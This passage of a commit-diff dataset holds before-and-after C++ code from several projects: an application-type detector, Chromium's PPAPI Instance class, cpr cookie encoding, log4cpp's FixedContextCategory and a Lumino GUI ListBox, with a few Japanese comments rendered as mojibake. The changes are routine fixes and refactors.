(strcmp(applicationName, \"org.gnu.Emacs\") == 0 ||\n strcmp(applicationName, \"org.gnu.AquamacsEmacs\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(EMACS);\n }\n\n const char* org_vim = \"org.vim.\";\n if (strncmp(applicationName, org_vim, strlen(org_vim)) == 0) {\n SET_CURRENT_APPLICATION_TYPE(VI);\n }\n\n if (strcmp(applicationName, \"com.apple.Terminal\") == 0 ||\n strcmp(applicationName, \"iTerm\") == 0 ||\n strcmp(applicationName, \"net.sourceforge.iTerm\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(TERMINAL);\n }\n\n const char* vmware_unity = \"com.vmware.proxyApp.\";\n if (strcmp(applicationName, \"com.vmware.fusion\") == 0 ||\n strncmp(applicationName, vmware_unity, strlen(vmware_unity)) == 0 ||\n strcmp(applicationName, \"com.parallels.desktop\") == 0 ||\n strcmp(applicationName, \"org.virtualbox.app.VirtualBoxVM\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(VIRTUALMACHINE);\n }\n\n if (strcmp(applicationName, \"com.microsoft.rdc\") == 0 ||\n strcmp(applicationName, \"net.sf.cord\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(REMOTEDESKTOPCONNECTION);\n }\n\n if (strcmp(applicationName, \"org.x.X11\") == 0 ||\n strcmp(applicationName, \"com.apple.x11\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(X11);\n }\n\n if (strcmp(applicationName, \"com.apple.finder\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(FINDER);\n }\n\n if (strcmp(applicationName, \"com.apple.Safari\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(SAFARI);\n }\n\n if (strcmp(applicationName, \"org.mozilla.firefox\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(FIREFOX);\n }\n\n if (strcmp(applicationName, \"org.mozilla.thunderbird\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(THUNDERBIRD);\n }\n\n if (strcmp(applicationName, \"com.apple.iChat\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ICHAT);\n }\n\n if (strcmp(applicationName, \"com.adiumX.adiumX\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ADIUMX);\n }\n\n if (strcmp(applicationName, \"com.skype.skype\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(SKYPE);\n }\n\n if (strcmp(applicationName, \"com.apple.mail\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(MAIL);\n }\n\n if (strcmp(applicationName, \"com.apple.TextEdit\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(EDITOR);\n }\n\n const char* com_adobe = \"com.adobe.\";\n if (strncmp(applicationName, com_adobe, strlen(com_adobe)) == 0) {\n SET_CURRENT_APPLICATION_TYPE(ADOBE);\n }\n\n if (strcmp(applicationName, \"com.microsoft.Excel\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(EXCEL);\n }\n\n if (strcmp(applicationName, \"com.microsoft.Entourage\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ENTOURAGE);\n }\n\n if (strcmp(applicationName, \"org.eclipse.eclipse\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ECLIPSE);\n }\n\n SET_CURRENT_APPLICATION_TYPE(UNKNOWN);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ppapi\/cpp\/instance.h\"\n\n#include \"ppapi\/c\/dev\/ppp_printing_dev.h\"\n#include \"ppapi\/c\/ppb_instance.h\"\n#include \"ppapi\/cpp\/dev\/scrollbar_dev.h\"\n#include \"ppapi\/cpp\/dev\/widget_dev.h\"\n#include \"ppapi\/cpp\/graphics_2d.h\"\n#include \"ppapi\/cpp\/image_data.h\"\n#include \"ppapi\/cpp\/logging.h\"\n#include \"ppapi\/cpp\/module.h\"\n#include \"ppapi\/cpp\/module_impl.h\"\n#include \"ppapi\/cpp\/point.h\"\n#include \"ppapi\/cpp\/resource.h\"\n#include \"ppapi\/cpp\/var.h\"\n\nnamespace {\n\nDeviceFuncs<PPB_Instance> ppb_instance_f(PPB_INSTANCE_INTERFACE);\n\n} \/\/ namespace\n\nnamespace pp {\n\nInstance::Instance(PP_Instance instance) : pp_instance_(instance) {\n}\n\nInstance::~Instance() {\n \/\/ Ensure that all per-instance objects have been removed. Generally, these\n \/\/ objects should have their lifetime scoped to the instance, such as being\n \/\/ instance members or even implemented by your instance sub-class directly.\n \/\/\n \/\/ If they're not unregistered at this point, they will usually have a\n \/\/ dangling reference to the instance, which can cause a crash later.\n PP_DCHECK(interface_name_to_objects_.empty());\n}\n\nbool Instance::Init(uint32_t \/*argc*\/, const char* \/*argn*\/[],\n const char* \/*argv*\/[]) {\n return true;\n}\n\nbool Instance::HandleDocumentLoad(const URLLoader_Dev& \/*url_loader*\/) {\n return false;\n}\n\nbool Instance::HandleEvent(const PP_Event& \/*event*\/) {\n return false;\n}\n\nVar Instance::GetInstanceObject() {\n return Var();\n}\n\nvoid Instance::ViewChanged(const pp::Rect& \/*position*\/,\n const pp::Rect& \/*clip*\/) {\n}\n\nVar Instance::GetSelectedText(bool \/* html *\/) {\n return Var();\n}\n\nPP_PrintOutputFormat_Dev* Instance::QuerySupportedPrintOutputFormats(\n uint32_t* format_count) {\n *format_count = 0;\n return NULL;\n}\n\nint32_t Instance::PrintBegin(const PP_PrintSettings_Dev&) {\n return 0;\n}\n\nResource Instance::PrintPages(\n const PP_PrintPageNumberRange_Dev* \/*page_ranges*\/,\n uint32_t \/*page_range_count*\/) {\n return Resource();\n}\n\nvoid Instance::PrintEnd() {\n}\n\nvoid Instance::InvalidateWidget(Widget_Dev \/* widget *\/,\n const Rect& \/* dirty_rect *\/) {\n}\n\nvoid Instance::ScrollbarValueChanged(Scrollbar_Dev \/* scrollbar *\/,\n uint32_t \/* value *\/) {\n}\n\nvoid Instance::Zoom(float \/* scale *\/, bool \/* text_only *\/) {\n}\n\nbool Instance::StartFind(const char* \/* text *\/, bool \/* case_sensitive *\/) {\n return false;\n}\n\nvoid Instance::SelectFindResult(bool \/* forward *\/) {\n}\n\nvoid Instance::StopFind() {\n}\n\nvoid Instance::Graphics3DContextLost() {\n}\n\nVar Instance::GetWindowObject() {\n if (!ppb_instance_f)\n return Var();\n return Var(Var::PassRef(), ppb_instance_f->GetWindowObject(pp_instance()));\n}\n\nVar Instance::GetOwnerElementObject() {\n if (!ppb_instance_f)\n return Var();\n return Var(Var::PassRef(),\n ppb_instance_f->GetOwnerElementObject(pp_instance()));\n}\n\nbool Instance::BindGraphics(const Graphics2D& graphics) {\n if (!ppb_instance_f)\n return false;\n return ppb_instance_f->BindGraphics(pp_instance(), graphics.pp_resource());\n}\n\nbool Instance::IsFullFrame() {\n if (!ppb_instance_f)\n return false;\n return ppb_instance_f->IsFullFrame(pp_instance());\n}\n\nVar Instance::ExecuteScript(const Var& script, Var* exception) {\n if (!ppb_instance_f)\n return Var();\n return Var(Var::PassRef(),\n ppb_instance_f->ExecuteScript(pp_instance(), script.pp_var(),\n Var::OutException(exception)));\n}\n\nvoid Instance::AddPerInstanceObject(const std::string& interface_name,\n void* object) {\n \/\/ Ensure we're not trying to register more than one object per interface\n \/\/ type. Otherwise, we'll get confused in GetPerInstanceObject.\n PP_DCHECK(interface_name_to_objects_.find(interface_name) ==\n interface_name_to_objects_.end());\n interface_name_to_objects_[interface_name] = object;\n}\n\nvoid Instance::RemovePerInstanceObject(const std::string& interface_name,\n void* object) {\n InterfaceNameToObjectMap::iterator found = interface_name_to_objects_.find(\n interface_name);\n if (found == interface_name_to_objects_.end()) {\n \/\/ Attempting to unregister an object that doesn't exist or was already\n \/\/ unregistered.\n PP_DCHECK(false);\n return;\n }\n\n \/\/ Validate that we're removing the object we thing we are.\n PP_DCHECK(found->second == object);\n\n interface_name_to_objects_.erase(found);\n}\n\n\/\/ static\nvoid* Instance::GetPerInstanceObject(PP_Instance instance,\n const std::string& interface_name) {\n Instance* that = Module::Get()->InstanceForPPInstance(instance);\n if (!that)\n return NULL;\n InterfaceNameToObjectMap::iterator found =\n that->interface_name_to_objects_.find(interface_name);\n if (found == that->interface_name_to_objects_.end())\n return NULL;\n return found->second;\n}\n\n} \/\/ namespace pp\n<commit_msg>Fix release mode build.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ppapi\/cpp\/instance.h\"\n\n#include \"ppapi\/c\/dev\/ppp_printing_dev.h\"\n#include \"ppapi\/c\/ppb_instance.h\"\n#include \"ppapi\/cpp\/dev\/scrollbar_dev.h\"\n#include \"ppapi\/cpp\/dev\/widget_dev.h\"\n#include \"ppapi\/cpp\/graphics_2d.h\"\n#include \"ppapi\/cpp\/image_data.h\"\n#include \"ppapi\/cpp\/logging.h\"\n#include \"ppapi\/cpp\/module.h\"\n#include \"ppapi\/cpp\/module_impl.h\"\n#include \"ppapi\/cpp\/point.h\"\n#include \"ppapi\/cpp\/resource.h\"\n#include \"ppapi\/cpp\/var.h\"\n\nnamespace {\n\nDeviceFuncs<PPB_Instance> ppb_instance_f(PPB_INSTANCE_INTERFACE);\n\n} \/\/ namespace\n\nnamespace pp {\n\nInstance::Instance(PP_Instance instance) : pp_instance_(instance) {\n}\n\nInstance::~Instance() {\n \/\/ Ensure that all per-instance objects have been removed. Generally, these\n \/\/ objects should have their lifetime scoped to the instance, such as being\n \/\/ instance members or even implemented by your instance sub-class directly.\n \/\/\n \/\/ If they're not unregistered at this point, they will usually have a\n \/\/ dangling reference to the instance, which can cause a crash later.\n PP_DCHECK(interface_name_to_objects_.empty());\n}\n\nbool Instance::Init(uint32_t \/*argc*\/, const char* \/*argn*\/[],\n const char* \/*argv*\/[]) {\n return true;\n}\n\nbool Instance::HandleDocumentLoad(const URLLoader_Dev& \/*url_loader*\/) {\n return false;\n}\n\nbool Instance::HandleEvent(const PP_Event& \/*event*\/) {\n return false;\n}\n\nVar Instance::GetInstanceObject() {\n return Var();\n}\n\nvoid Instance::ViewChanged(const pp::Rect& \/*position*\/,\n const pp::Rect& \/*clip*\/) {\n}\n\nVar Instance::GetSelectedText(bool \/* html *\/) {\n return Var();\n}\n\nPP_PrintOutputFormat_Dev* Instance::QuerySupportedPrintOutputFormats(\n uint32_t* format_count) {\n *format_count = 0;\n return NULL;\n}\n\nint32_t Instance::PrintBegin(const PP_PrintSettings_Dev&) {\n return 0;\n}\n\nResource Instance::PrintPages(\n const PP_PrintPageNumberRange_Dev* \/*page_ranges*\/,\n uint32_t \/*page_range_count*\/) {\n return Resource();\n}\n\nvoid Instance::PrintEnd() {\n}\n\nvoid Instance::InvalidateWidget(Widget_Dev \/* widget *\/,\n const Rect& \/* dirty_rect *\/) {\n}\n\nvoid Instance::ScrollbarValueChanged(Scrollbar_Dev \/* scrollbar *\/,\n uint32_t \/* value *\/) {\n}\n\nvoid Instance::Zoom(float \/* scale *\/, bool \/* text_only *\/) {\n}\n\nbool Instance::StartFind(const char* \/* text *\/, bool \/* case_sensitive *\/) {\n return false;\n}\n\nvoid Instance::SelectFindResult(bool \/* forward *\/) {\n}\n\nvoid Instance::StopFind() {\n}\n\nvoid Instance::Graphics3DContextLost() {\n}\n\nVar Instance::GetWindowObject() {\n if (!ppb_instance_f)\n return Var();\n return Var(Var::PassRef(), ppb_instance_f->GetWindowObject(pp_instance()));\n}\n\nVar Instance::GetOwnerElementObject() {\n if (!ppb_instance_f)\n return Var();\n return Var(Var::PassRef(),\n ppb_instance_f->GetOwnerElementObject(pp_instance()));\n}\n\nbool Instance::BindGraphics(const Graphics2D& graphics) {\n if (!ppb_instance_f)\n return false;\n return ppb_instance_f->BindGraphics(pp_instance(), graphics.pp_resource());\n}\n\nbool Instance::IsFullFrame() {\n if (!ppb_instance_f)\n return false;\n return ppb_instance_f->IsFullFrame(pp_instance());\n}\n\nVar Instance::ExecuteScript(const Var& script, Var* exception) {\n if (!ppb_instance_f)\n return Var();\n return Var(Var::PassRef(),\n ppb_instance_f->ExecuteScript(pp_instance(), script.pp_var(),\n Var::OutException(exception)));\n}\n\nvoid Instance::AddPerInstanceObject(const std::string& interface_name,\n void* object) {\n \/\/ Ensure we're not trying to register more than one object per interface\n \/\/ type. Otherwise, we'll get confused in GetPerInstanceObject.\n PP_DCHECK(interface_name_to_objects_.find(interface_name) ==\n interface_name_to_objects_.end());\n interface_name_to_objects_[interface_name] = object;\n}\n\nvoid Instance::RemovePerInstanceObject(const std::string& interface_name,\n void* object) {\n InterfaceNameToObjectMap::iterator found = interface_name_to_objects_.find(\n interface_name);\n if (found == interface_name_to_objects_.end()) {\n \/\/ Attempting to unregister an object that doesn't exist or was already\n \/\/ unregistered.\n PP_DCHECK(false);\n return;\n }\n\n \/\/ Validate that we're removing the object we thing we are.\n PP_DCHECK(found->second == object);\n (void)object; \/\/ Prevent warning in release mode.\n\n interface_name_to_objects_.erase(found);\n}\n\n\/\/ static\nvoid* Instance::GetPerInstanceObject(PP_Instance instance,\n const std::string& interface_name) {\n Instance* that = Module::Get()->InstanceForPPInstance(instance);\n if (!that)\n return NULL;\n InterfaceNameToObjectMap::iterator found =\n that->interface_name_to_objects_.find(interface_name);\n if (found == that->interface_name_to_objects_.end())\n return NULL;\n return found->second;\n}\n\n} \/\/ namespace pp\n<|endoftext|>"} {"text":"<commit_before>#include \"cookies.h\"\n\n#include \"util.h\"\n\nnamespace cpr {\n\nCookies::Cookies(const std::initializer_list<std::pair<const std::string, std::string>>& pairs)\n : map_{pairs} {}\n\nstd::string Cookies::GetEncoded() const {\n std::stringstream stream;\n for (const auto& item : map_) {\n \/\/ special case version 1 cookies, which can be distinguished by\n \/\/ beginning and trailing quotes\n if (!item.second.empty() && item.second.front() == '\"' && item.second.back() == '\"') {\n stream << cpr::util::urlEncode(item.first) << \"=\" << item.second << \"; \";\n } else {\n stream << cpr::util::urlEncode(item.first) << \"=\" << cpr::util::urlEncode(item.second)\n << \"; \";\n }\n }\n return stream.str();\n}\n\nstd::string& Cookies::operator[](const std::string& key) {\n return map_[key];\n}\n\n} \/\/ namespace cpr\n<commit_msg>Minor DRY refactoring for cookie encoding.<commit_after>#include \"cookies.h\"\n\n#include \"util.h\"\n\nnamespace cpr {\n\nCookies::Cookies(const std::initializer_list<std::pair<const std::string, std::string>>& pairs)\n : map_{pairs} {}\n\nstd::string Cookies::GetEncoded() const {\n std::stringstream stream;\n for (const auto& item : map_) {\n stream << cpr::util::urlEncode(item.first) << \"=\";\n \/\/ special case version 1 cookies, which can be distinguished by\n \/\/ beginning and trailing quotes\n if (!item.second.empty() && item.second.front() == '\"' && item.second.back() == '\"') {\n stream << item.second;\n } else {\n stream << cpr::util::urlEncode(item.second);\n }\n stream << \"; \";\n }\n return stream.str();\n}\n\nstd::string& Cookies::operator[](const std::string& key) {\n return map_[key];\n}\n\n} \/\/ namespace cpr\n<|endoftext|>"} {"text":"<commit_before>\/*\n * FixedContextCategory.cpp\n *\n * Copyright 2001, LifeLine Networks BV (www.lifeline.nl). All rights reserved.\n * Copyright 2001, Bastiaan Bakker. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#include \"log4cpp\/Portability.hh\"\n#include \"log4cpp\/FixedContextCategory.hh\"\n\nnamespace log4cpp {\n\n FixedContextCategory::FixedContextCategory(const std::string& name,\n const std::string& context) : \n Category(name, Category::getInstance(name).getParent()),\n _delegate(Category::getInstance(name)),\n _context(context) {\n }\n\n FixedContextCategory::~FixedContextCategory() {\n }\n\n void FixedContextCategory::setContext(const std::string& context) {\n _context = context;\n }\n\n std::string FixedContextCategory::getContext() const {\n return _context;\n }\n\n Priority::Value FixedContextCategory::getPriority() const throw() {\n return Category::getPriority();\n }\n \n Priority::Value FixedContextCategory::getChainedPriority() const throw() {\n Priority::Value result = getPriority();\n\n if (result == Priority::NOTSET) {\n result = _delegate.getChainedPriority();\n }\n\n return result;\n }\n \n void FixedContextCategory::addAppender(Appender* appender) {\n \/\/ XXX do nothing for now\n }\n \n void FixedContextCategory::addAppender(Appender& appender) {\n \/\/ XXX do nothing for now\n }\n \n Appender* FixedContextCategory::getAppender() const {\n return _delegate.getAppender();\n }\n \n void FixedContextCategory::removeAllAppenders() {\n \/\/ XXX do nothing for now\n }\n\n bool FixedContextCategory::ownsAppender() const throw() {\n return false;\n }\n \n bool FixedContextCategory::ownsAppender(Appender* appender) const throw() {\n return false;\n }\n \n void FixedContextCategory::callAppenders(const LoggingEvent& event)\n throw() {\n _delegate.callAppenders(event);\n }\n\n void FixedContextCategory::setAdditivity(bool additivity) {\n \/\/ XXX do nothing for now\n }\n\n bool FixedContextCategory::getAdditivity() const throw() {\n return _delegate.getAdditivity();\n }\n\n void FixedContextCategory::_logUnconditionally2(Priority::Value priority,\n const std::string& message) throw() {\n LoggingEvent event(getName(), message, _context, priority);\n callAppenders(event);\n }\n \n} \n\n<commit_msg>Added missing getAppender(Appender*).<commit_after>\/*\n * FixedContextCategory.cpp\n *\n * Copyright 2001, LifeLine Networks BV (www.lifeline.nl). All rights reserved.\n * Copyright 2001, Bastiaan Bakker. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#include \"log4cpp\/Portability.hh\"\n#include \"log4cpp\/FixedContextCategory.hh\"\n\nnamespace log4cpp {\n\n FixedContextCategory::FixedContextCategory(const std::string& name,\n const std::string& context) : \n Category(name, Category::getInstance(name).getParent()),\n _delegate(Category::getInstance(name)),\n _context(context) {\n }\n\n FixedContextCategory::~FixedContextCategory() {\n }\n\n void FixedContextCategory::setContext(const std::string& context) {\n _context = context;\n }\n\n std::string FixedContextCategory::getContext() const {\n return _context;\n }\n\n Priority::Value FixedContextCategory::getPriority() const throw() {\n return Category::getPriority();\n }\n \n Priority::Value FixedContextCategory::getChainedPriority() const throw() {\n Priority::Value result = getPriority();\n\n if (result == Priority::NOTSET) {\n result = _delegate.getChainedPriority();\n }\n\n return result;\n }\n \n void FixedContextCategory::addAppender(Appender* appender) {\n \/\/ XXX do nothing for now\n }\n \n void FixedContextCategory::addAppender(Appender& appender) {\n \/\/ XXX do nothing for now\n }\n \n Appender* FixedContextCategory::getAppender() const {\n return _delegate.getAppender();\n }\n \n Appender* FixedContextCategory::getAppender(const std::string& name)\n const {\n return _delegate.getAppender(name);\n }\n \n void FixedContextCategory::removeAllAppenders() {\n \/\/ XXX do nothing for now\n }\n\n bool FixedContextCategory::ownsAppender() const throw() {\n return false;\n }\n \n bool FixedContextCategory::ownsAppender(Appender* appender) const throw() {\n return false;\n }\n \n void FixedContextCategory::callAppenders(const LoggingEvent& event)\n throw() {\n _delegate.callAppenders(event);\n }\n\n void FixedContextCategory::setAdditivity(bool additivity) {\n \/\/ XXX do nothing for now\n }\n\n bool FixedContextCategory::getAdditivity() const throw() {\n return _delegate.getAdditivity();\n }\n\n void FixedContextCategory::_logUnconditionally2(Priority::Value priority,\n const std::string& message) throw() {\n LoggingEvent event(getName(), message, _context, priority);\n callAppenders(event);\n }\n \n} \n\n<|endoftext|>"} {"text":"<commit_before>\n#include \"..\/..\/Internal.h\"\n#include <Lumino\/GUI\/GUIManager.h>\n#include <Lumino\/GUI\/ControlTemplate.h>\n#include <Lumino\/GUI\/Controls\/ListBox.h>\n#include <Lumino\/GUI\/Controls\/StackPanel.h>\n\nnamespace Lumino\n{\nnamespace GUI\n{\n\/\/=============================================================================\n\/\/ ListBoxItem\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBoxItem);\nLN_UI_ELEMENT_SUBCLASS_IMPL(ListBoxItem);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxItem::ListBoxItem(GUIManager* manager)\n\t: ContentControl(manager)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxItem::~ListBoxItem()\n{\n}\n\n\/\/=============================================================================\n\/\/ ListBoxItemList\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBoxItemList);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxItemList::OnItemAdded(ListBoxItem* item)\n{\n\tm_owner->OnListBoxItemAdded(item);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxItemList::OnItemRemoved(ListBoxItem* item)\n{\n\tm_owner->OnListBoxItemRemoved(item);\n}\n\n\/\/=============================================================================\n\/\/ ListBoxChrome\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBoxChrome);\nLN_UI_ELEMENT_SUBCLASS_IMPL(ListBoxChrome);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxChrome::ListBoxChrome(GUIManager* manager)\n\t: Decorator(manager)\n\t, m_frameWidth(8)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxChrome::~ListBoxChrome()\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxChrome::OnApplyTemplate(CombinedLocalResource* localResource)\n{\n\tm_frameBrush = static_cast<Graphics::TextureBrush*>(localResource->GetItem(_T(\"ListBoxNormalFrameBrush\")));\n\tm_bgBrush = static_cast<Graphics::TextureBrush*>(localResource->GetItem(_T(\"ListBoxNormalBackgroundBrush\")));\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxChrome::OnRender()\n{\n\tGraphics::Painter painter(m_manager->GetGraphicsManager());\n\tpainter.SetProjection(Size(640, 480), 0, 1000);\t\/\/ TODO\n\n\tRectF bgRect = m_finalRect;\n\tRectF rect = m_finalRect;\n\n\tif (!m_isMouseOver)\n\t{\n\t\tbgRect.Inflate(-m_frameWidth, -m_frameWidth);\n\t\tpainter.SetBrush(m_bgBrush);\n\t\tpainter.DrawRectangle(bgRect);\n\t}\n\n\tpainter.SetBrush(m_frameBrush);\n\tpainter.DrawFrameRectangle(rect, m_frameWidth);\n}\n\n\n\/\/=============================================================================\n\/\/ ListBox\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBox);\nLN_UI_ELEMENT_SUBCLASS_IMPL(ListBox);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBox::ListBox(GUIManager* manager)\n\t: Control(manager)\n\t, m_listBoxItems(LN_NEW ListBoxItemList(this))\n{\n\tm_itemsPanel.Attach(LN_NEW StackPanel(manager));\n\tAddVisualChild(m_itemsPanel);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBox::~ListBox()\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::InsertItem(int index, UIElement* element)\n{\n\tRefPtr<ListBoxItem> item(LN_NEW ListBoxItem(m_manager));\n\titem->SetContent(element);\n\tm_listBoxItems->Insert(index, item);\n}\n#if 0\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nUIElement* ListBox::CheckMouseHoverElement(const PointF& globalPt)\n{\n\tif (m_itemsPanel != NULL) {\t\/\/ qvfD\n\t\tUIElement* e = m_itemsPanel->CheckMouseHoverElement(globalPt);\n\t\tif (e != NULL) { return e; }\n\t}\n\treturn UIElement::CheckMouseHoverElement(globalPt);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::ApplyTemplateHierarchy(CombinedLocalResource* parent)\n{\n\tControl::ApplyTemplateHierarchy(parent);\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->ApplyTemplateHierarchy(m_combinedLocalResource);\t\/\/ ċAIɍXV\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::MeasureLayout(const SizeF& availableSize)\n{\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->MeasureLayout(availableSize);\t\/\/ ɘgƂȂ̂ł̂܂܂̃TCYn\n\t}\n\tControl::MeasureLayout(availableSize);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::ArrangeLayout(const RectF& finalRect)\n{\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->ArrangeLayout(finalRect);\t\/\/ ɘgƂȂ̂ł̂܂܂̃TCYn\n\t}\n\tControl::ArrangeLayout(finalRect);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nbool ListBox::OnEvent(EventType type, EventArgs* args)\n{\n\tif (m_itemsPanel != NULL) {\n\t\tif (m_itemsPanel->OnEvent(type, args)) { return true; }\n\t}\n\treturn Control::OnEvent(type, args);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::Render()\n{\n\tControl::Render();\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->Render();\n\t}\n}\n#endif\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::OnListBoxItemAdded(ListBoxItem* item)\n{\n\tm_itemsPanel->GetChildren()->Add(item);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::OnListBoxItemRemoved(ListBoxItem* item)\n{\n\tLN_THROW(0, NotImplementedException);\n\t\/\/m_itemsPanel->GetChildren()->Remove(item);\n}\n\n} \/\/ namespace GUI\n} \/\/ namespace Lumino\n\n<commit_msg>listbox<commit_after>\/*\n\tEWPF\n\t\tListBox\n\t\t\tBorder\tgyєwi\n\t\t\t\tScrollView\n\t\t\t\t\tVirtualizeStackPanel\n*\/\n#include \"..\/..\/Internal.h\"\n#include <Lumino\/GUI\/GUIManager.h>\n#include <Lumino\/GUI\/ControlTemplate.h>\n#include <Lumino\/GUI\/Controls\/ListBox.h>\n#include <Lumino\/GUI\/Controls\/StackPanel.h>\n\nnamespace Lumino\n{\nnamespace GUI\n{\n\/\/=============================================================================\n\/\/ ListBoxItem\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBoxItem);\nLN_UI_ELEMENT_SUBCLASS_IMPL(ListBoxItem);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxItem::ListBoxItem(GUIManager* manager)\n\t: ContentControl(manager)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxItem::~ListBoxItem()\n{\n}\n\n\/\/=============================================================================\n\/\/ ListBoxItemList\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBoxItemList);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxItemList::OnItemAdded(ListBoxItem* item)\n{\n\tm_owner->OnListBoxItemAdded(item);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxItemList::OnItemRemoved(ListBoxItem* item)\n{\n\tm_owner->OnListBoxItemRemoved(item);\n}\n\n\/\/=============================================================================\n\/\/ ListBoxChrome\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBoxChrome);\nLN_UI_ELEMENT_SUBCLASS_IMPL(ListBoxChrome);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxChrome::ListBoxChrome(GUIManager* manager)\n\t: Decorator(manager)\n\t, m_frameWidth(8)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBoxChrome::~ListBoxChrome()\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxChrome::OnApplyTemplate(CombinedLocalResource* localResource)\n{\n\tm_frameBrush = static_cast<Graphics::TextureBrush*>(localResource->GetItem(_T(\"ListBoxNormalFrameBrush\")));\n\tm_bgBrush = static_cast<Graphics::TextureBrush*>(localResource->GetItem(_T(\"ListBoxNormalBackgroundBrush\")));\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBoxChrome::OnRender()\n{\n\tGraphics::Painter painter(m_manager->GetGraphicsManager());\n\tpainter.SetProjection(Size(640, 480), 0, 1000);\t\/\/ TODO\n\n\tRectF bgRect = m_finalRect;\n\tRectF rect = m_finalRect;\n\n\tif (!m_isMouseOver)\n\t{\n\t\tbgRect.Inflate(-m_frameWidth, -m_frameWidth);\n\t\tpainter.SetBrush(m_bgBrush);\n\t\tpainter.DrawRectangle(bgRect);\n\t}\n\n\tpainter.SetBrush(m_frameBrush);\n\tpainter.DrawFrameRectangle(rect, m_frameWidth);\n}\n\n\n\/\/=============================================================================\n\/\/ ListBox\n\/\/=============================================================================\nLN_CORE_OBJECT_TYPE_INFO_IMPL(ListBox);\nLN_UI_ELEMENT_SUBCLASS_IMPL(ListBox);\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBox::ListBox(GUIManager* manager)\n\t: 